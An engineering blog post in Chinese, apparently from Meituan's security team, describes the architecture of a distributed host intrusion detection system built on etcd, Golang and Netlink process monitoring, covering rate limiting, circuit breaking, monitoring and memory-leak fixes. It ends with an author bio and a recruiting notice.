对于管理Agent的服务端来说,要实现高可用、容灾设计,那么一定要做多机房部署,就一定会遇到数据一致性问题。那么数据的存储,就要考虑分布式存储组件。 分布式数据存储中,存在一个定理叫CAP定理: CAP的解释 关于CAP定理,分为以下三点: 一致性(Consistency):分布式数据库的数据保持一致。 可用性(Availability):任何一个节点宕机,其他节点可以继续对外提供服务。 分区容错性(网络分区)Partition Tolerance:一个数据库所在的机器坏了,如硬盘坏了,数据丢失了,可以添加一台机器,然后从其他正常的机器把备份的数据同步过来。 根据定理,分布式系统只能满足三项中的两项而不可能满足全部三项。理解CAP定理的最简单方式是想象两个节点分处分区两侧。允许至少一个节点更新状态会导致数据不一致,即丧失了Consistency。如果为了保证数据一致性,将分区一侧的节点设置为不可用,那么又丧失了Availability。除非两个节点可以互相通信,才能既保证Consistency又保证Availability,这又会导致丧失Partition Tolerance。 参见:CAP Theorem。 CAP的选择 为了容灾上设计,集群节点的部署,会选择的异地多机房,所以 「Partition tolerance」是不可能避免的。那么可选的是 AP 与 CP。 在HIDS集群的场景里,各个Agent对集群持续可用性没有非常强的要求,在短暂时间内,是可以出现异常,出现无法通讯的情况。但最终状态必须要一致,不能存在集群下发关停指令,而出现个别Agent不听从集群控制的情况出现。所以,我们需要一个满足 CP 的产品。 满足CP的产品选择 在开源社区中,比较出名的几款满足CP的产品,比如etcd、ZooKeeper、Consul等。我们需要根据几款产品的特点,根据我们需求来选择符合我们需求的产品。 插一句,网上很多人说Consul是AP产品,这是个错误的描述。既然Consul支持分布式部署,那么一定会出现「网络分区」的问题, 那么一定要支持「Partition tolerance」。另外,在consul的官网上自己也提到了这点 Consul uses a CP architecture, favoring consistency over availability. Consul is opinionated in its usage while Serf is a more flexible and general purpose tool. In CAP terms, Consul uses a CP architecture, favoring consistency over availability. Serf is an AP system and sacrifices consistency for availability. This means Consul cannot operate if the central servers cannot form a quorum while Serf will continue to function under almost all circumstances. etcd、ZooKeeper、Consul对比 借用etcd官网上etcd与ZooKeeper和Consul的比较图。 在我们HIDS Agent的需求中,除了基本的服务发现 、配置同步 、配置多版本控制 、变更通知等基本需求外,我们还有基于产品安全性上的考虑,比如传输通道加密、用户权限控制、角色管理、基于Key的权限设定等,这点 etcd比较符合我们要求。很多大型公司都在使用,比如Kubernetes、AWS、OpenStack、Azure、Google Cloud、Huawei Cloud等,并且etcd的社区支持非常好。基于这几点因素,我们选择etcd作为HIDS的分布式集群管理。 选择etcd 对于etcd在项目中的应用,我们分别使用不同的API接口实现对应的业务需求,按照业务划分如下: Watch机制来实现配置变更下发,任务下发的实时获取机制。 脑裂问题在etcd中不存在,etcd集群的选举,只有投票达到 N/2+1 以上,才会选做Leader,来保证数据一致性。另外一个网络分区的Member节点将无主。 语言亲和性,也是Golang开发的,Client SDK库稳定可用。 Key存储的数据结构支持范围性的Key操作。 User、Role权限设定不同读写权限,来控制Key操作,避免其他客户端修改其他Key的信息。 TLS来保证通道信息传递安全。 Txn分布式事务API配合Compare API来确定主机上线的Key唯一性。 Lease租约机制,过期Key释放,更好的感知主机下线信息。 etcd底层Key的存储为BTree结构,查找时间复杂度为O(㏒n),百万级甚至千万级Key的查找耗时区别不大。 etcd Key的设计 前缀按角色设定: Server配置下发使用 /hids/server/config/{hostname}/master。 Agent注册上线使用 /hids/agent/master/{hostname}。 Plugin配置获取使用 /hids/agent/config/{hostname}/plugin/ID/conf_name。 Server Watch /hids/agent/master/前缀,实现Agent主机上线的瞬间感知。Agent Watch /hids/server/config/{hostname}/来获取配置变更,任务下发。Agent注册的Key带有Lease Id,并启用keepalive,下线后瞬间感知。 (异常下线,会有1/3的keepalive时间延迟) 关于Key的权限,根据不同前缀,设定不同Role权限。赋值给不同的User,来实现对Key的权限控制。 etcd集群管理 在etcd节点容灾考虑,考虑DNS故障时,节点会选择部署在多个城市,多个机房,以我们服务器机房选择来看,在大部分机房都有一个节点,综合承载需求,我们选择了N台服务器部署在个别重要机房,来满足负载、容灾需求。但对于etcd这种分布式一致性强的组件来说,每个写操作都需要N/2+1的节点确认变更,才会将写请求写入数据库中,再同步到各个节点,那么意味着节点越多,需要确认的网络请求越多,耗时越多,反而会影响集群节点性能。这点,我们后续将提升单个服务器性能,以及牺牲部分容灾性来提升集群处理速度。 客户端填写的IP列表,包含域名、IP。IP用来规避DNS故障,域名用来做Member节点更新。最好不要使用Discover方案,避免对内网DNS服务器产生较大压力。 同时,在配置etcd节点的地址时,也要考虑到内网DNS故障的场景,地址填写会混合IP、域名两种形式。IP的地址,便于规避内网DNS故障。 域名形式,便于做个别节点更替或扩容。 我们在设计产品架构时,为了安全性,开启了TLS证书认证,当节点变更时,证书的生成也同样要考虑到上面两种方案的影响,证书里需要包含固定IP,以及DNS域名范围的两种格式。 etcd Cluster节点扩容 节点扩容,官方手册上也有完整的方案,etcd的Client里实现了健康检测与故障迁移,能自动的迁移到节点IP列表中的其他可用IP。也能定时更新etcd Node List,对于etcd Cluster的集群节点变更来说,不存在问题。需要我们注意的是,TLS证书的兼容。 分布式HIDS集群架构图 集群核心组件高可用,所有Agent、Server都依赖集群,都可以无缝扩展,且不影响整个集群的稳定性。即使Server全部宕机,也不影响所有Agent的继续工作。 在以后Server版本升级时,Agent不会中断,也不会带来雪崩式的影响。etcd集群可以做到单节点升级,一直到整个集群升级,各个组件全都解耦。 编程语言选择 考虑到公司服务器量大,业务复杂,需求环境多变,操作系统可能包括各种Linux以及Windows等。为了保证系统的兼容性,我们选择了Golang作为开发语言,它具备以下特点:可以静态编译,直接通过syscall来运行,不依赖libc,兼容性高,可以在所有Linux上执行,部署便捷。 静态编译语言,能将简单的错误在编译前就发现。 具备良好的GC机制,占用系统资源少,开发成本低。 容器化的很多产品都是Golang编写,比如Kubernetes、Docker等。 etcd项目也是Golang编写,类库、测试用例可以直接用,SDK支持快速。 良好的CSP并发模型支持,高效的协程调度机制。产品架构大方向 HIDS产品研发完成后,部署的服务都运行着各种业务的服务器,业务的重要性排在第一,我们产品的功能排在后面。为此,确定了几个产品的大方向: 高可用,数据一致,可横向扩展。 容灾性好,能应对机房级的网络故障。 兼容性好,只维护一个版本的Agent。 依赖低,不依赖任何动态链接库。 侵入性低,不做Hook,不做系统类库更改。 熔断降级可靠,宁可自己挂掉,也不影响业务 。产品实现 篇幅限制,仅讨论框架设计、熔断限流、监控告警、自我恢复以及产品实现上的主进程与进程监控。 框架设计 hids-framework 如上图,在框架的设计上,封装常用类库,抽象化定义Interface,剥离etcd Client,全局化Logger,抽象化App的启动、退出方法。使得各模块(以下简称App)只需要实现自己的业务即可,可以方便快捷的进行逻辑编写,无需关心底层实现、配置来源、重试次数、熔断方案等等。 沙箱隔离 考虑到子进程不能无限的增长下去,那么必然有一个进程包含多个模块的功能,各App之间既能使用公用底层组件(Logger、etcd Client等),又能让彼此之间互不影响,这里进行了沙箱化处理,各个属性对象仅在各App的sandbox里生效。同样能实现了App进程的性能熔断,停止所有的业务逻辑功能,但又能具有基本的自我恢复功能。 IConfig 对各App的配置抽象化处理,实现IConfig的共有方法接口,用于对配置的函数调用,比如Check的检测方法,检测配置合法性,检测配置的最大值、最小值范围,规避使用人员配置不在合理范围内的情况,从而避免带来的风险。 框架底层用Reflect来处理JSON配置,解析读取填写的配置项,跟Config对象对比,填充到对应Struct的属性上,允许JSON配置里只填写变化的配置,没填写的配置项,则使用Config对应Struct的默认配置。便于灵活处理配置信息。 Timer、Clock调度 在业务数据产生时,很多地方需要记录时间,时间的获取也会产生很多系统调用。尤其是在每秒钟产生成千上万个事件,这些事件都需要调用获取时间接口,进行clock_gettime等系统调用,会大大增加系统CPU负载。 而很多事件产生时间的准确性要求不高,精确到秒,或者几百个毫秒即可,那么框架里实现了一个颗粒度符合需求的(比如100ms、200ms、或者1s等)间隔时间更新的时钟,即满足事件对时间的需求,又减少了系统调用。 同样,在有些Ticker场景中,Ticker的间隔颗粒要求不高时,也可以合并成一个Ticker,减少对CPU时钟的调用。 Catcher 在多协程场景下,会用到很多协程来处理程序,对于个别协程的panic错误,上层线程要有一个良好的捕获机制,能将协程错误抛出去,并能恢复运行,不要让进程崩溃退出,提高程序的稳定性。 抽象接口 框架底层抽象化封装Sandbox的Init、Run、Shutdown接口,规范各App的对外接口,让App的初始化、运行、停止等操作都标准化。App的模块业务逻辑,不需要关注PID文件管理,不关注与集群通讯,不关心与父进程通讯等通用操作,只需要实现自己的业务逻辑即可。App与框架的统一控制,采用Context包以及Sync.Cond等条件锁作为同步控制条件,来同步App与框架的生命周期,同步多协程之间同步,并实现App的安全退出,保证数据不丢失。 限流 网络IO 限制数据上报速度。 队列存储数据任务列表。 大于队列长度数据丢弃。 丢弃数据总数计数。 计数信息作为心跳状态数据上报到日志中心,用于数据对账。 磁盘IO 程序运行日志,对日志级别划分,参考 /usr/include/sys/syslog.h: LOG_EMERG LOG_ALERT LOG_CRIT LOG_ERR LOG_WARNING LOG_NOTICE LOG_INFO LOG_DEBUG 在代码编写时,根据需求选用级别。级别越低日志量越大,重要程度越低,越不需要发送至日志中心,写入本地磁盘。那么在异常情况排查时,方便参考。 日志文件大小控制,分2个文件,每个文件不超过固定大小,比如20M、50M等。并且,对两个文件进行来回写,避免日志写满磁盘的情况。 IRetry 为了加强Agent的鲁棒性,不能因为某些RPC动作失败后导致整体功能不可用,一般会有重试功能。Agent跟etcd Cluster也是TCP长连接(HTTP2),当节点重启更换或网络卡顿等异常时,Agent会重连,那么重连的频率控制,不能是死循环般的重试。假设服务器内网交换机因内网流量较大产生抖动,触发了Agent重连机制,不断的重连又加重了交换机的负担,造成雪崩效应,这种设计必须要避免。 在每次重试后,需要做一定的回退机制,常见的指数级回退,比如如下设计,在规避雪崩场景下,又能保障Agent的鲁棒性,设定最大重试间隔,也避免了Agent失控的问题。 事件拆分 百万台IDC规模的Agent部署,在任务执行、集群通讯或对宿主机产生资源影响时,务必要错峰进行,根据每台主机的唯一特征取模,拆分执行,避免造成雪崩效应。 监控告警 古时候,行军打仗时,提倡「兵马未动,粮草先行」,无疑是冷兵器时代决定胜负走向的重要因素。做产品也是,尤其是大型产品,要对自己运行状况有详细的掌控,做好监控告警,才能确保产品的成功。 对于etcd集群的监控,组件本身提供了Metrics数据输出接口,官方推荐了Prometheus来采集数据,使用Grafana来做聚合计算、图标绘制,我们做了Alert的接口开发,对接了公司的告警系统,实现IM、短信、电话告警。 Agent数量感知,依赖Watch数字,实时准确感知。 如下图,来自产品刚开始灰度时的某一时刻截图,Active Streams(即etcd Watch的Key数量)即为对应Agent数量,每次灰度的产品数量。因为该操作,是Agent直接与集群通讯,并且每个Agent只Watch一个Key。且集群数据具备唯一性、一致性,远比心跳日志的处理要准确的多。 etcd-Grafana-Watcher-Monitor etcd集群Members之间健康状况监控 etcd-Grafana-GC-Heap-Objects 用于监控管理etcd集群的状况,包括Member节点之间数据同步,Leader选举次数,投票发起次数,各节点的内存申请状况,GC情况等,对集群的健康状况做全面掌控。 程序运行状态监控告警 agent-mem-es agent-cpu-es 全量监控Agent的资源占用情况,统计每天使用最大CPU\内存的主机Agent,确定问题的影响范围,及时做策略调整,避免影响到业务服务的运行。并在后续版本上逐步做调整优化。 百万台服务器,日志告警量非常大,这个级别的告警信息的筛选、聚合是必不可少的。减少无用告警,让研发运维人员疲于奔命,也避免无用告警导致研发人员放松了警惕,前期忽略个例告警,先解决主要矛盾。 告警信息分级,告警信息细分ID。 根据告警级别过滤,根据告警ID聚合告警,来发现同类型错误。 根据告警信息的所在机房、项目组、产品线等维度来聚合告警,来发现同类型错误。 数据采集告警 单机数据数据大小、总量的历史数据对比告警。 按机房、项目组、产品线等维度的大小、总量等维度的历史数据对比告警。 数据采集大小、总量的对账功能,判断经过一系列处理流程的日志是否丢失的监控告警。熔断针对单机Agent使用资源大小的阈值熔断,CPU使用率,连续N次触发大于等于5%,则进行保护性熔断,退出所有业务逻辑,以保护主机的业务程序优先。 Master进程进入空闲状态,等待第二次时间Ticker到来,决定是否恢复运行。 各个App基于业务层面的监控熔断策略。灰度管理 在前面的配置管理中的etcd Key设计里,已经细分到每个主机(即每个Agent)一个Key。那么,服务端的管理,只要区分该主机所属机房、环境、群组、产品线即可,那么,我们的管理Agent的颗粒度可以精确到每个主机,也就是支持任意纬度的灰度发布管理与命令下发。 数据上报通道 组件名为 log_agent ,是公司内部统一日志上报组件,会部署在每一台VM、Docker上。主机上所有业务均可将日志发送至该组件。 log_agent会将日志上报到Kafka集群中,经过处理后,落入Hive集群中。(细节不在本篇讨论范围) 主进程 主进程实现跟etcd集群通信,管理整个Agent的配置下发与命令下发;管理各个子模块的启动与停止;管理各个子模块的CPU、内存占用情况,对资源超标进行进行熔断处理,让出资源,保证业务进程的运行。 插件化管理其他模块,多进程模式,便于提高产品灵活性,可更简便的更新启动子模块,不会因为个别模块插件的功能、BUG导致整个Agent崩溃。 进程监控 方案选择 我们在研发这产品时,做了很多关于linux进程创建监控的调研,不限于安全产品,大约有下面三种技术方案:方案Docker兼容性开发难度数据准确性系统侵入性cn_proc不支持Docker一般存在内核拿到的PID,在/proc/下丢失的情况无Audit不支持Docker一般同cn_proc弱,但依赖AuditdHook定制高精确强 对于公司的所有服务器来说,几十万台都是已经在运行的服务器,新上的任何产品,都尽量避免对服务器有影响,更何况是所有服务器都要部署的Agent。 意味着我们在选择系统侵入性来说,优先选择最小侵入性的方案。 对于Netlink的方案原理,可以参考这张图(来自:kernel-proc-connector-and-containers) process-connector。 系统侵入性比较 cn_proc跟Autid在「系统侵入性」和「数据准确性」来说,cn_proc方案更好,而且使用CPU、内存等资源情况,更可控。 Hook的方案,对系统侵入性太高了,尤其是这种最底层做HOOK syscall的做法,万一测试不充分,在特定环境下,有一定的概率会出现Bug,而在百万IDC的规模下,这将成为大面积事件,可能会造成重大事故。 兼容性上比较 cn_proc不兼容Docker,这个可以在宿主机上部署来解决。 Hook的方案,需要针对每种Linux的发行版做定制,维护成本较高,且不符合长远目标(收购外部公司时遇到各式各样操作系统问题) 数据准确性比较 在大量PID创建的场景,比如Docker的宿主机上,内核返回PID时,因为PID返回非常多非常快,很多进程启动后,立刻消失了,另外一个线程都还没去读取/proc/,进程都丢失了,场景常出现在Bash执行某些命令。 最终,我们选择Linux Kernel Netlink接口的cn_proc指令作为我们进程监控方案,借助对Bash命令的收集,作为该方案的补充。当然,仍然存在丢数据的情况,但我们为了系统稳定性,产品侵入性低等业务需求,牺牲了一些安全性上的保障。 对于Docker的场景,采用宿主机运行,捕获数据,关联到Docker容器,上报到日志中心的做法来实现。 遇到的问题 内核Netlink发送数据卡住 内核返回数据太快,用户态ParseNetlinkMessage解析读取太慢,导致用户态网络Buff占满,内核不再发送数据给用户态,进程空闲。对于这个问题,我们在用户态做了队列控制,确保解析时间的问题不会影响到内核发送数据。对于队列的长度,我们做了定值限制,生产速度大于消费速度的话,可以丢弃一些数据,来保证业务正常运行,并且来控制进程的内存增长问题。 疑似“内存泄露”问题 在一台Docker的宿主机上,运行了50个Docker实例,每个Docker都运行了复杂的业务场景,频繁的创建进程,在最初的产品实现上,启动时大约10M内存占用,一天后达到200M的情况。 经过我们Debug分析发现,在ParseNetlinkMessage处理内核发出的消息时,PID频繁创建带来内存频繁申请,对象频繁实例化,占用大量内存。同时,在Golang GC时,扫描、清理动作带来大量CPU消耗。在代码中,发现对于linux/connector.h里的struct cb_msg、linux/cn_proc.h里的struct proc_event结构体频繁创建,带来内存申请等问题,以及Golang的GC特性,内存申请后,不会在GC时立刻归还操作系统,而是在后台任务里,逐渐的归还到操作系统,见:debug.FreeOSMemory FreeOSMemory forces a garbage collection followed by an attempt to return as much memory to the operating system as possible. (Even if this is not called, the runtime gradually returns memory to the operating system in a background task.) 但在这个业务场景里,大量频繁的创建PID,频繁的申请内存,创建对象,那么申请速度远远大于释放速度,自然内存就一直堆积。 从文档中可以看出,FreeOSMemory的方法可以将内存归还给操作系统,但我们并没有采用这种方案,因为它治标不治本,没法解决内存频繁申请频繁创建的问题,也不能降低CPU使用率。 为了解决这个问题,我们采用了sync.Pool的内置对象池方式,来复用回收对象,避免对象频繁创建,减少内存占用情况,在针对几个频繁创建的对象做对象池化后,同样的测试环境,内存稳定控制在15M左右。 大量对象的复用,也减少了对象的数量,同样的,在Golang GC运行时,也减少了对象的扫描数量、回收数量,降低了CPU使用率。 项目进展 在产品的研发过程中,也遇到了一些问题,比如:etcd Client Lease Keepalive的Bug。 Agent进程资源限制的Cgroup触发几次内核Bug。 Docker宿主机上瞬时大量进程创建的性能问题。 网络监控模块在处理Nginx反向代理时,动辄几十万TCP链接的网络数据获取压力。 个别进程打开了10W以上的fd。 方法一定比困难多,但方法不是拍脑袋想出来的,一定要深入探索问题的根本原因,找到系统性的修复方法,具备高可用、高性能、监控告警、熔断限流等功能后,对于出现的问题,能够提前发现,将故障影响最小化,提前做处理。在应对产品运营过程中遇到的各种问题时,逢山开路,遇水搭桥,都可以从容的应对。 经过我们一年的努力,已经部署了除了个别特殊业务线之外的其他所有服务器,数量达几十万台,产品稳定运行。在数据完整性、准确性上,还有待提高,在精细化运营上,需要多做改进。 本篇更多的是研发角度上软件架构上的设计,关于安全事件分析、数据建模、运营策略等方面的经验和技巧,未来将会由其他同学进行分享,敬请期待。 总结 我们在研发这款产品过程中,也看到了网上开源了几款同类产品,也了解了他们的设计思路,发现很多产品都是把主要方向放在了单个模块的实现上,而忽略了产品架构上的重要性。 比如,有的产品使用了syscall hook这种侵入性高的方案来保障数据完整性,使得对系统侵入性非常高,Hook代码的稳定性,也严重影响了操作系统内核的稳定。同时,Hook代码也缺少了监控熔断的措施,在几十万服务器规模的场景下部署,潜在的风险可能让安全部门无法接受,甚至是致命的。 这种设计,可能在服务器量级小时,对于出现的问题多花点时间也能逐个进行维护,但应对几十万甚至上百万台服务器时,对维护成本、稳定性、监控熔断等都是很大的技术挑战。同时,在研发上,也很难实现产品的快速迭代,而这种方式带来的影响,几乎都会导致内核宕机之类致命问题。这种事故,使用服务器的业务方很难进行接受,势必会影响产品的研发速度、推进速度;影响同事(SRE运维等)对产品的信心,进而对后续产品的推进带来很大的阻力。 以上是笔者站在研发角度,从可用性、可靠性、可控性、监控熔断等角度做的架构设计与框架设计,分享的产品研发思路。 笔者认为大规模的服务器安全防护产品,首先需要考虑的是架构的稳定性、监控告警的实时性、熔断限流的准确性等因素,其次再考虑安全数据的完整性、检测方案的可靠性、检测模型的精确性等因素。 九层之台,起于累土。只有打好基础,才能运筹帷幄,决胜千里之外。 参考资料https://en.wikipedia.org/wiki/CAP_theorem https://www.consul.io/intro/vs/serf.html https://golang.org/src/runtime/debug/garbage.go?h=FreeOSMemory#L99 https://www.ibm.com/developerworks/cn/linux/l-connector/ https://www.kernel.org/doc/ https://coreos.com/etcd/docs/latest/作者简介 陈驰,美团点评技术专家,2017年加入美团,十年以上互联网产品研发经验,专注于分布式系统架构设计,目前主要从事安全防御产品研发工作。 关于美团安全 美团安全部的大多数核心人员,拥有多年互联网以及安全领域实践经验,很多同学参与过大型互联网公司的安全体系建设,其中也不乏全球化安全运营人才,具备百万级IDC规模攻防对抗的经验。安全部也不乏CVE“挖掘圣手”,有受邀在Black Hat等国际顶级会议发言的讲者,当然还有很多漂亮的运营妹子。 目前,美团安全部涉及的技术包括渗透测试、Web防护、二进制安全、内核安全、分布式开发、大数据分析、安全算法等等,同时还有全球合规与隐私保护等策略制定。我们正在建设一套百万级IDC规模、数十万终端接入的移动办公网络自适应安全体系,这套体系构建于零信任架构之上,横跨多种云基础设施,包括网络层、虚拟化/容器层、Server 软件层(内核态/用户态)、语言虚拟机层(JVM/JS V8)、Web应用层、数据访问层等,并能够基于“大数据+机器学习”技术构建全自动的安全事件感知系统,努力打造成业界最前沿的内置式安全架构和纵深防御体系。 随着美团的高速发展,业务复杂度不断提升,安全部门面临更多的机遇和挑战。我们希望将更多代表业界最佳实践的安全项目落地,同时为更多的安全从业者提供一个广阔的发展平台,并提供更多在安全新兴领域不断探索的机会。 招聘信息 美团安全部正在招募Web&二进制攻防、后台&系统开发、机器学习&算法等各路小伙伴。如果你想加入我们,欢迎简历请发至邮箱zhaoyan17@meituan.com 具体职位信息可参考这里:https://mp.weixin.qq.com/s/ynEq5LqQ2uBcEaHCu7Tsiw 美团安全应急响应中心MTSRC主页:security.meituan.com 首发我司『美团技术团队』微信公众号 [微信公众号]保障IDC安全:分布式HIDS集群架构设计 [官方博客]保障IDC安全:分布式HIDS集群架构设计 2019-01-18 +4 8 0